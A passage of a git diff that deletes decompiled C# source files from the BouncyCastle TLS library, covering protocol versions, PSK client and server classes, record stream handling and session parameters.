- public const int tls_prf_sha384 = 2; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ProtocolVersion.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ProtocolVersion.cs deleted file mode 100644 index 4bca0ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ProtocolVersion.cs +++ /dev/null @@ -1,146 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public sealed class ProtocolVersion -{ - public static readonly ProtocolVersion SSLv3 = new ProtocolVersion(768, "SSL 3.0"); - - public static readonly ProtocolVersion TLSv10 = new ProtocolVersion(769, "TLS 1.0"); - - public static readonly ProtocolVersion TLSv11 = new ProtocolVersion(770, "TLS 1.1"); - - public static readonly ProtocolVersion TLSv12 = new ProtocolVersion(771, "TLS 1.2"); - - public static readonly ProtocolVersion DTLSv10 = new ProtocolVersion(65279, "DTLS 1.0"); - - public static readonly ProtocolVersion DTLSv12 = new ProtocolVersion(65277, "DTLS 1.2"); - - private readonly int version; - - private readonly string name; - - public int FullVersion => version; - - public int MajorVersion => version >> 8; - - public int MinorVersion => version & 0xFF; - - public bool IsDtls => MajorVersion == 254; - - public bool IsSsl => this == SSLv3; - - public bool IsTls => MajorVersion == 3; - - private ProtocolVersion(int v, string name) - { - version = v & 0xFFFF; - this.name = name; - } - - public ProtocolVersion GetEquivalentTLSVersion() - { - if (!IsDtls) - { - return this; - } - if (this == DTLSv10) - { - return TLSv11; - } - return TLSv12; - } - - public bool IsEqualOrEarlierVersionOf(ProtocolVersion version) - { - if (MajorVersion != version.MajorVersion) - { - return false; - } - int num = version.MinorVersion - MinorVersion; - if (!IsDtls) - { - return num >= 0; - } - return num <= 0; - } - - public bool IsLaterVersionOf(ProtocolVersion version) - { - if (MajorVersion != version.MajorVersion) - { - return false; - } - int num = version.MinorVersion - MinorVersion; - if (!IsDtls) - { - return num < 0; - } - return num > 0; - } - - public override bool Equals(object other) - { - if (this != other) - { - if (other is ProtocolVersion) - { - return Equals((ProtocolVersion)other); - } - return false; - } - return true; - } - - public bool Equals(ProtocolVersion other) - { - if (other != null) - { - return version == other.version; - } - return false; - } - - public override int GetHashCode() - { - return version; - } - - public static ProtocolVersion Get(int major, int minor) - { - return major switch - { - 3 => minor switch - { - 0 => SSLv3, - 1 => TLSv10, - 2 => TLSv11, - 3 => TLSv12, - _ => GetUnknownVersion(major, minor, "TLS"), - }, - 254 => minor switch - { - 255 => DTLSv10, - 254 => throw new TlsFatalAlert(47), - 253 => DTLSv12, - _ => GetUnknownVersion(major, minor, "DTLS"), - }, - _ => throw new TlsFatalAlert(47), - }; - } - - public override string ToString() - { - return name; - } - - private static ProtocolVersion GetUnknownVersion(int major, int minor, string prefix) - { - TlsUtilities.CheckUint8(major); - TlsUtilities.CheckUint8(minor); - int num = (major << 8) | minor; - string text = Platform.ToUpperInvariant(Convert.ToString(0x10000 | num, 16).Substring(1)); - return new ProtocolVersion(num, prefix + " 0x" + text); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsClient.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsClient.cs deleted file mode 100644 index ddb6f11..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsClient.cs +++ /dev/null @@ -1,55 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public class PskTlsClient : AbstractTlsClient -{ - protected TlsDHVerifier mDHVerifier; - - protected TlsPskIdentity mPskIdentity; - - public PskTlsClient(TlsPskIdentity pskIdentity) - : this(new DefaultTlsCipherFactory(), pskIdentity) - { - } - - public PskTlsClient(TlsCipherFactory cipherFactory, TlsPskIdentity pskIdentity) - : this(cipherFactory, new DefaultTlsDHVerifier(), pskIdentity) - { - } - - public PskTlsClient(TlsCipherFactory cipherFactory, TlsDHVerifier dhVerifier, TlsPskIdentity pskIdentity) - : base(cipherFactory) - { - mDHVerifier = dhVerifier; - mPskIdentity = pskIdentity; - } - - public override int[] GetCipherSuites() - { - return new int[2] { 49207, 49205 }; - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 13: - case 14: - case 15: - case 24: - return CreatePskKeyExchange(keyExchangeAlgorithm); - default: - throw new TlsFatalAlert(80); - } - } - - public override TlsAuthentication GetAuthentication() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsKeyExchange CreatePskKeyExchange(int keyExchange) - { - return new TlsPskKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mPskIdentity, null, mDHVerifier, null, mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsServer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsServer.cs deleted file mode 100644 index 3dea4c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PskTlsServer.cs +++ /dev/null @@ -1,70 +0,0 @@ -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class PskTlsServer : AbstractTlsServer -{ - protected TlsPskIdentityManager mPskIdentityManager; - - public PskTlsServer(TlsPskIdentityManager pskIdentityManager) - : this(new DefaultTlsCipherFactory(), pskIdentityManager) - { - } - - public PskTlsServer(TlsCipherFactory cipherFactory, TlsPskIdentityManager pskIdentityManager) - : base(cipherFactory) - { - mPskIdentityManager = pskIdentityManager; - } - - protected virtual TlsEncryptionCredentials GetRsaEncryptionCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual DHParameters GetDHParameters() - { - return DHStandardGroups.rfc7919_ffdhe2048; - } - - protected override int[] GetCipherSuites() - { - return new int[4] { 49207, 49205, 178, 144 }; - } - - public override TlsCredentials GetCredentials() - { - switch (TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite)) - { - case 13: - case 14: - case 24: - return null; - case 15: - return GetRsaEncryptionCredentials(); - default: - throw new TlsFatalAlert(80); - } - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 13: - case 14: - case 15: - case 24: - return CreatePskKeyExchange(keyExchangeAlgorithm); - default: - throw new TlsFatalAlert(80); - } - } - - protected virtual TlsKeyExchange CreatePskKeyExchange(int keyExchange) - { - return new TlsPskKeyExchange(keyExchange, mSupportedSignatureAlgorithms, null, mPskIdentityManager, null, GetDHParameters(), mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/RecordStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/RecordStream.cs deleted file mode 100644 index 434a246..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/RecordStream.cs +++ /dev/null @@ -1,370 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class RecordStream -{ - private class HandshakeHashUpdateStream : BaseOutputStream - { - private readonly RecordStream mOuter; - - public HandshakeHashUpdateStream(RecordStream mOuter) - { - this.mOuter = mOuter; - } - - public override void Write(byte[] buf, int off, int len) - { - mOuter.mHandshakeHash.BlockUpdate(buf, off, len); - } - } - - private class SequenceNumber - { - private long value = 0L; - - private bool exhausted = false; - - internal long NextValue(byte alertDescription) - { - if (exhausted) - { - throw new TlsFatalAlert(alertDescription); - } - long result = value; - if (++value == 0) - { - exhausted = true; - } - return result; - } - } - - private const int DEFAULT_PLAINTEXT_LIMIT = 16384; - - internal const int TLS_HEADER_SIZE = 5; - - internal const int TLS_HEADER_TYPE_OFFSET = 0; - - internal const int TLS_HEADER_VERSION_OFFSET = 1; - - internal const int TLS_HEADER_LENGTH_OFFSET = 3; - - private TlsProtocol mHandler; - - private Stream mInput; - - private Stream mOutput; - - private TlsCompression mPendingCompression = null; - - private TlsCompression mReadCompression = null; - - private TlsCompression mWriteCompression = null; - - private TlsCipher mPendingCipher = null; - - private TlsCipher mReadCipher = null; - - private TlsCipher mWriteCipher = null; - - private SequenceNumber mReadSeqNo = new SequenceNumber(); - - private SequenceNumber mWriteSeqNo = new SequenceNumber(); - - private MemoryStream mBuffer = new MemoryStream(); - - private TlsHandshakeHash mHandshakeHash = null; - - private readonly BaseOutputStream mHandshakeHashUpdater; - - private ProtocolVersion mReadVersion = null; - - private ProtocolVersion mWriteVersion = null; - - private bool mRestrictReadVersion = true; - - private int mPlaintextLimit; - - private int mCompressedLimit; - - private int mCiphertextLimit; - - internal virtual ProtocolVersion ReadVersion - { - get - { - return mReadVersion; - } - set - { - mReadVersion = value; - } - } - - internal virtual TlsHandshakeHash HandshakeHash => mHandshakeHash; - - internal virtual Stream HandshakeHashUpdater => mHandshakeHashUpdater; - - internal RecordStream(TlsProtocol handler, Stream input, Stream output) - { - mHandler = handler; - mInput = input; - mOutput = output; - mReadCompression = new TlsNullCompression(); - mWriteCompression = mReadCompression; - mHandshakeHashUpdater = new HandshakeHashUpdateStream(this); - } - - internal virtual void Init(TlsContext context) - { - mReadCipher = new TlsNullCipher(context); - mWriteCipher = mReadCipher; - mHandshakeHash = new DeferredHash(); - mHandshakeHash.Init(context); - SetPlaintextLimit(16384); - } - - internal virtual int GetPlaintextLimit() - { - return mPlaintextLimit; - } - - internal virtual void SetPlaintextLimit(int plaintextLimit) - { - mPlaintextLimit = plaintextLimit; - mCompressedLimit = mPlaintextLimit + 1024; - mCiphertextLimit = mCompressedLimit + 1024; - } - - internal virtual void SetWriteVersion(ProtocolVersion writeVersion) - { - mWriteVersion = writeVersion; - } - - internal virtual void SetRestrictReadVersion(bool enabled) - { - mRestrictReadVersion = enabled; - } - - internal virtual void SetPendingConnectionState(TlsCompression tlsCompression, TlsCipher tlsCipher) - { - mPendingCompression = tlsCompression; - mPendingCipher = tlsCipher; - } - - internal virtual void SentWriteCipherSpec() - { - if (mPendingCompression == null || mPendingCipher == null) - { - throw new TlsFatalAlert(40); - } - mWriteCompression = mPendingCompression; - mWriteCipher = mPendingCipher; - mWriteSeqNo = new SequenceNumber(); - } - - internal virtual void ReceivedReadCipherSpec() - { - if (mPendingCompression == null || mPendingCipher == null) - { - throw new TlsFatalAlert(40); - } - mReadCompression = mPendingCompression; - mReadCipher = mPendingCipher; - mReadSeqNo = new SequenceNumber(); - } - - internal virtual void FinaliseHandshake() - { - if (mReadCompression != mPendingCompression || mWriteCompression != mPendingCompression || mReadCipher != mPendingCipher || mWriteCipher != mPendingCipher) - { - throw new TlsFatalAlert(40); - } - mPendingCompression = null; - mPendingCipher = null; - } - - internal virtual void CheckRecordHeader(byte[] recordHeader) - { - byte type = TlsUtilities.ReadUint8(recordHeader, 0); - CheckType(type, 10); - if (!mRestrictReadVersion) - { - int num = TlsUtilities.ReadVersionRaw(recordHeader, 1); - if ((num & 0xFFFFFF00u) != 768) - { - throw new TlsFatalAlert(47); - } - } - else - { - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(recordHeader, 1); - if (mReadVersion != null && !protocolVersion.Equals(mReadVersion)) - { - throw new TlsFatalAlert(47); - } - } - int length = TlsUtilities.ReadUint16(recordHeader, 3); - CheckLength(length, mCiphertextLimit, 22); - } - - internal virtual bool ReadRecord() - { - byte[] array = TlsUtilities.ReadAllOrNothing(5, mInput); - if (array == null) - { - return false; - } - byte b = TlsUtilities.ReadUint8(array, 0); - CheckType(b, 10); - if (!mRestrictReadVersion) - { - int num = TlsUtilities.ReadVersionRaw(array, 1); - if ((num & 0xFFFFFF00u) != 768) - { - throw new TlsFatalAlert(47); - } - } - else - { - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(array, 1); - if (mReadVersion == null) - { - mReadVersion = protocolVersion; - } - else if (!protocolVersion.Equals(mReadVersion)) - { - throw new TlsFatalAlert(47); - } - } - int num2 = TlsUtilities.ReadUint16(array, 3); - CheckLength(num2, mCiphertextLimit, 22); - byte[] array2 = DecodeAndVerify(b, mInput, num2); - mHandler.ProcessRecord(b, array2, 0, array2.Length); - return true; - } - - internal virtual byte[] DecodeAndVerify(byte type, Stream input, int len) - { - byte[] array = TlsUtilities.ReadFully(len, input); - long seqNo = mReadSeqNo.NextValue(10); - byte[] array2 = mReadCipher.DecodeCiphertext(seqNo, type, array, 0, array.Length); - CheckLength(array2.Length, mCompressedLimit, 22); - Stream stream = mReadCompression.Decompress(mBuffer); - if (stream != mBuffer) - { - stream.Write(array2, 0, array2.Length); - stream.Flush(); - array2 = GetBufferContents(); - } - CheckLength(array2.Length, mPlaintextLimit, 30); - if (array2.Length < 1 && type != 23) - { - throw new TlsFatalAlert(47); - } - return array2; - } - - internal virtual void WriteRecord(byte type, byte[] plaintext, int plaintextOffset, int plaintextLength) - { - if (mWriteVersion != null) - { - CheckType(type, 80); - CheckLength(plaintextLength, mPlaintextLimit, 80); - if (plaintextLength < 1 && type != 23) - { - throw new TlsFatalAlert(80); - } - Stream stream = mWriteCompression.Compress(mBuffer); - long seqNo = mWriteSeqNo.NextValue(80); - byte[] array; - if (stream == mBuffer) - { - array = mWriteCipher.EncodePlaintext(seqNo, type, plaintext, plaintextOffset, plaintextLength); - } - else - { - stream.Write(plaintext, plaintextOffset, plaintextLength); - stream.Flush(); - byte[] bufferContents = GetBufferContents(); - CheckLength(bufferContents.Length, plaintextLength + 1024, 80); - array = mWriteCipher.EncodePlaintext(seqNo, type, bufferContents, 0, bufferContents.Length); - } - CheckLength(array.Length, mCiphertextLimit, 80); - byte[] array2 = new byte[array.Length + 5]; - TlsUtilities.WriteUint8(type, array2, 0); - TlsUtilities.WriteVersion(mWriteVersion, array2, 1); - TlsUtilities.WriteUint16(array.Length, array2, 3); - Array.Copy(array, 0, array2, 5, array.Length); - mOutput.Write(array2, 0, array2.Length); - mOutput.Flush(); - } - } - - internal virtual void NotifyHelloComplete() - { - mHandshakeHash = mHandshakeHash.NotifyPrfDetermined(); - } - - internal virtual TlsHandshakeHash PrepareToFinish() - { - TlsHandshakeHash result = mHandshakeHash; - mHandshakeHash = mHandshakeHash.StopTracking(); - return result; - } - - internal virtual void SafeClose() - { - try - { - Platform.Dispose(mInput); - } - catch (IOException) - { - } - try - { - Platform.Dispose(mOutput); - } - catch (IOException) - { - } - } - - internal virtual void Flush() - { - mOutput.Flush(); - } - - private byte[] GetBufferContents() - { - byte[] result = mBuffer.ToArray(); - mBuffer.SetLength(0L); - return result; - } - - private static void CheckType(byte type, byte alertDescription) - { - switch (type) - { - case 20: - case 21: - case 22: - case 23: - return; - } - throw new TlsFatalAlert(alertDescription); - } - - private static void CheckLength(int length, int limit, byte alertDescription) - { - if (length > limit) - { - throw new TlsFatalAlert(alertDescription); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SecurityParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SecurityParameters.cs deleted file mode 100644 index f1ceb0c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SecurityParameters.cs +++ /dev/null @@ -1,69 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class SecurityParameters -{ - internal int entity = -1; - - internal int cipherSuite = -1; - - internal byte compressionAlgorithm = 0; - - internal int prfAlgorithm = -1; - - internal int verifyDataLength = -1; - - internal byte[] masterSecret = null; - - internal byte[] clientRandom = null; - - internal byte[] serverRandom = null; - - internal byte[] sessionHash = null; - - internal byte[] pskIdentity = null; - - internal byte[] srpIdentity = null; - - internal short maxFragmentLength = -1; - - internal bool truncatedHMac = false; - - internal bool encryptThenMac = false; - - internal bool extendedMasterSecret = false; - - public virtual int Entity => entity; - - public virtual int CipherSuite => cipherSuite; - - public virtual byte CompressionAlgorithm => compressionAlgorithm; - - public virtual int PrfAlgorithm => prfAlgorithm; - - public virtual int VerifyDataLength => verifyDataLength; - - public virtual byte[] MasterSecret => masterSecret; - - public virtual byte[] ClientRandom => clientRandom; - - public virtual byte[] ServerRandom => serverRandom; - - public virtual byte[] SessionHash => sessionHash; - - public virtual byte[] PskIdentity => pskIdentity; - - public virtual byte[] SrpIdentity => srpIdentity; - - public virtual bool IsExtendedMasterSecret => extendedMasterSecret; - - internal virtual void Clear() - { - if (masterSecret != null) - { - Arrays.Fill(masterSecret, 0); - masterSecret = null; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerName.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerName.cs deleted file mode 100644 index 6a3f768..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerName.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class ServerName -{ - protected readonly byte mNameType; - - protected readonly object mName; - - public virtual byte NameType => mNameType; - - public virtual object Name => mName; - - public ServerName(byte nameType, object name) - { - if (!IsCorrectType(nameType, name)) - { - throw new ArgumentException("not an instance of the correct type", "name"); - } - mNameType = nameType; - mName = name; - } - - public virtual string GetHostName() - { - if (!IsCorrectType(0, mName)) - { - throw new InvalidOperationException("'name' is not a HostName string"); - } - return (string)mName; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(mNameType, output); - if (mNameType == 0) - { - byte[] array = Strings.ToAsciiByteArray((string)mName); - if (array.Length < 1) - { - throw new TlsFatalAlert(80); - } - TlsUtilities.WriteOpaque16(array, output); - return; - } - throw new TlsFatalAlert(80); - } - - public static ServerName Parse(Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - if (b == 0) - { - byte[] array = TlsUtilities.ReadOpaque16(input); - if (array.Length < 1) - { - throw new TlsFatalAlert(50); - } - object name = Strings.FromAsciiByteArray(array); - return new ServerName(b, name); - } - throw new TlsFatalAlert(50); - } - - protected static bool IsCorrectType(byte nameType, object name) - { - if (nameType == 0) - { - return name is string; - } - throw new ArgumentException("unsupported NameType", "nameType"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerNameList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerNameList.cs deleted file mode 100644 index 7fb036f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerNameList.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class ServerNameList -{ - protected readonly IList mServerNameList; - - public virtual IList ServerNames => mServerNameList; - - public ServerNameList(IList serverNameList) - { - if (serverNameList == null) - { - throw new ArgumentNullException("serverNameList"); - } - mServerNameList = serverNameList; - } - - public virtual void Encode(Stream output) - { - MemoryStream memoryStream = new MemoryStream(); - byte[] array = TlsUtilities.EmptyBytes; - foreach (ServerName serverName in ServerNames) - { - array = CheckNameType(array, serverName.NameType); - if (array == null) - { - throw new TlsFatalAlert(80); - } - serverName.Encode(memoryStream); - } - TlsUtilities.CheckUint16(memoryStream.Length); - TlsUtilities.WriteUint16((int)memoryStream.Length, output); - Streams.WriteBufTo(memoryStream, output); - } - - public static ServerNameList Parse(Stream input) - { - int num = TlsUtilities.ReadUint16(input); - if (num < 1) - { - throw new TlsFatalAlert(50); - } - byte[] buffer = TlsUtilities.ReadFully(num, input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - byte[] array = TlsUtilities.EmptyBytes; - IList list = Platform.CreateArrayList(); - while (memoryStream.Position < memoryStream.Length) - { - ServerName serverName = ServerName.Parse(memoryStream); - array = CheckNameType(array, serverName.NameType); - if (array == null) - { - throw new TlsFatalAlert(47); - } - list.Add(serverName); - } - return new ServerNameList(list); - } - - private static byte[] CheckNameType(byte[] nameTypesSeen, byte nameType) - { - if (!NameType.IsValid(nameType) || Arrays.Contains(nameTypesSeen, nameType)) - { - return null; - } - return Arrays.Append(nameTypesSeen, nameType); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerOnlyTlsAuthentication.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerOnlyTlsAuthentication.cs deleted file mode 100644 index d65425c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerOnlyTlsAuthentication.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ServerOnlyTlsAuthentication : TlsAuthentication -{ - public abstract void NotifyServerCertificate(Certificate serverCertificate); - - public TlsCredentials GetClientCredentials(CertificateRequest certificateRequest) - { - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerSrpParams.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerSrpParams.cs deleted file mode 100644 index 6bd4b6f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ServerSrpParams.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class ServerSrpParams -{ - protected BigInteger m_N; - - protected BigInteger m_g; - - protected BigInteger m_B; - - protected byte[] m_s; - - public virtual BigInteger B => m_B; - - public virtual BigInteger G => m_g; - - public virtual BigInteger N => m_N; - - public virtual byte[] S => m_s; - - public ServerSrpParams(BigInteger N, BigInteger g, byte[] s, BigInteger B) - { - m_N = N; - m_g = g; - m_s = Arrays.Clone(s); - m_B = B; - } - - public virtual void Encode(Stream output) - { - TlsSrpUtilities.WriteSrpParameter(m_N, output); - TlsSrpUtilities.WriteSrpParameter(m_g, output); - TlsUtilities.WriteOpaque8(m_s, output); - TlsSrpUtilities.WriteSrpParameter(m_B, output); - } - - public static ServerSrpParams Parse(Stream input) - { - BigInteger n = TlsSrpUtilities.ReadSrpParameter(input); - BigInteger g = TlsSrpUtilities.ReadSrpParameter(input); - byte[] s = TlsUtilities.ReadOpaque8(input); - BigInteger b = TlsSrpUtilities.ReadSrpParameter(input); - return new ServerSrpParams(n, g, s, b); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SessionParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SessionParameters.cs deleted file mode 100644 index 42e6fce..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SessionParameters.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public sealed class SessionParameters -{ - public sealed class Builder - { - private int mCipherSuite = -1; - - private short mCompressionAlgorithm = -1; - - private byte[] mMasterSecret = null; - - private Certificate mPeerCertificate = null; - - private byte[] mPskIdentity = null; - - private byte[] mSrpIdentity = null; - - private byte[] mEncodedServerExtensions = null; - - private bool mExtendedMasterSecret = false; - - public SessionParameters Build() - { - Validate(mCipherSuite >= 0, "cipherSuite"); - Validate(mCompressionAlgorithm >= 0, "compressionAlgorithm"); - Validate(mMasterSecret != null, "masterSecret"); - return new SessionParameters(mCipherSuite, (byte)mCompressionAlgorithm, mMasterSecret, mPeerCertificate, mPskIdentity, mSrpIdentity, mEncodedServerExtensions, mExtendedMasterSecret); - } - - public Builder SetCipherSuite(int cipherSuite) - { - mCipherSuite = cipherSuite; - return this; - } - - public Builder SetCompressionAlgorithm(byte compressionAlgorithm) - { - mCompressionAlgorithm = compressionAlgorithm; - return this; - } - - public Builder SetExtendedMasterSecret(bool extendedMasterSecret) - { - mExtendedMasterSecret = extendedMasterSecret; - return this; - } - - public Builder SetMasterSecret(byte[] masterSecret) - { - mMasterSecret = masterSecret; - return this; - } - - public Builder SetPeerCertificate(Certificate peerCertificate) - { - mPeerCertificate = peerCertificate; - return this; - } - - public Builder SetPskIdentity(byte[] pskIdentity) - { - mPskIdentity = pskIdentity; - return this; - } - - public Builder SetSrpIdentity(byte[] srpIdentity) - { - mSrpIdentity = srpIdentity; - return this; - } - - public Builder SetServerExtensions(IDictionary serverExtensions) - { - if (serverExtensions == null) - { - mEncodedServerExtensions = null; - } - else - { - MemoryStream memoryStream = new MemoryStream(); - TlsProtocol.WriteExtensions(memoryStream, serverExtensions); - mEncodedServerExtensions = memoryStream.ToArray(); - } - return this; - } - - private void Validate(bool condition, string parameter) - { - if (!condition) - { - throw new InvalidOperationException("Required session parameter '" + parameter + "' not configured"); - } - } - } - - private int mCipherSuite; - - private byte mCompressionAlgorithm; - - private byte[] mMasterSecret; - - private Certificate mPeerCertificate; - - private byte[] mPskIdentity; - - private byte[] mSrpIdentity; - - private byte[] mEncodedServerExtensions; - - private bool mExtendedMasterSecret; - - public int CipherSuite => mCipherSuite; - - public byte CompressionAlgorithm => mCompressionAlgorithm; - - public bool IsExtendedMasterSecret => mExtendedMasterSecret; - - public byte[] MasterSecret => mMasterSecret; - - public Certificate PeerCertificate => mPeerCertificate; - - public byte[] PskIdentity => mPskIdentity; - - public byte[] SrpIdentity => mSrpIdentity; - - private SessionParameters(int cipherSuite, byte compressionAlgorithm, byte[] masterSecret, Certificate peerCertificate, byte[] pskIdentity, byte[] srpIdentity, byte[] encodedServerExtensions, bool extendedMasterSecret) - { - mCipherSuite = cipherSuite; - mCompressionAlgorithm = compressionAlgorithm; - mMasterSecret = Arrays.Clone(masterSecret); - mPeerCertificate = peerCertificate; - mPskIdentity = Arrays.Clone(pskIdentity); - mSrpIdentity = Arrays.Clone(srpIdentity); - mEncodedServerExtensions = encodedServerExtensions; - mExtendedMasterSecret = extendedMasterSecret; - } - - public void Clear() - { - if (mMasterSecret != null) - { - Arrays.Fill(mMasterSecret, 0); - } - } - - public SessionParameters Copy() - { - return new SessionParameters(mCipherSuite, mCompressionAlgorithm, mMasterSecret, mPeerCertificate, mPskIdentity, mSrpIdentity, mEncodedServerExtensions, mExtendedMasterSecret); - } - - public IDictionary ReadServerExtensions() - { - if (mEncodedServerExtensions == null) - { - return null; - } - MemoryStream input = new MemoryStream(mEncodedServerExtensions, writable: false); - return TlsProtocol.ReadExtensions(input); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAlgorithm.cs deleted file mode 100644 index 584e0aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAlgorithm.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class SignatureAlgorithm -{ - public const byte anonymous = 0; - - public const byte rsa = 1; - - public const byte dsa = 2; - - public const byte ecdsa = 3; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAndHashAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAndHashAlgorithm.cs deleted file mode 100644 index 1b267ac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignatureAndHashAlgorithm.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class SignatureAndHashAlgorithm -{ - protected readonly byte mHash; - - protected readonly byte mSignature; - - public virtual byte Hash => mHash; - - public virtual byte Signature => mSignature; - - public SignatureAndHashAlgorithm(byte hash, byte signature) - { - if (!TlsUtilities.IsValidUint8(hash)) - { - throw new ArgumentException("should be a uint8", "hash"); - } - if (!TlsUtilities.IsValidUint8(signature)) - { - throw new ArgumentException("should be a uint8", "signature"); - } - if (signature == 0) - { - throw new ArgumentException("MUST NOT be \"anonymous\"", "signature"); - } - mHash = hash; - mSignature = signature; - } - - public override bool Equals(object obj) - { - if (!(obj is SignatureAndHashAlgorithm)) - { - return false; - } - SignatureAndHashAlgorithm signatureAndHashAlgorithm = (SignatureAndHashAlgorithm)obj; - if (signatureAndHashAlgorithm.Hash == Hash) - { - return signatureAndHashAlgorithm.Signature == Signature; - } - return false; - } - - public override int GetHashCode() - { - return (Hash << 16) | Signature; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(Hash, output); - TlsUtilities.WriteUint8(Signature, output); - } - - public static SignatureAndHashAlgorithm Parse(Stream input) - { - byte hash = TlsUtilities.ReadUint8(input); - byte signature = TlsUtilities.ReadUint8(input); - return new SignatureAndHashAlgorithm(hash, signature); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignerInputBuffer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/SignerInputBuffer.cs deleted file mode 100644 index 793720f..0000000 --- 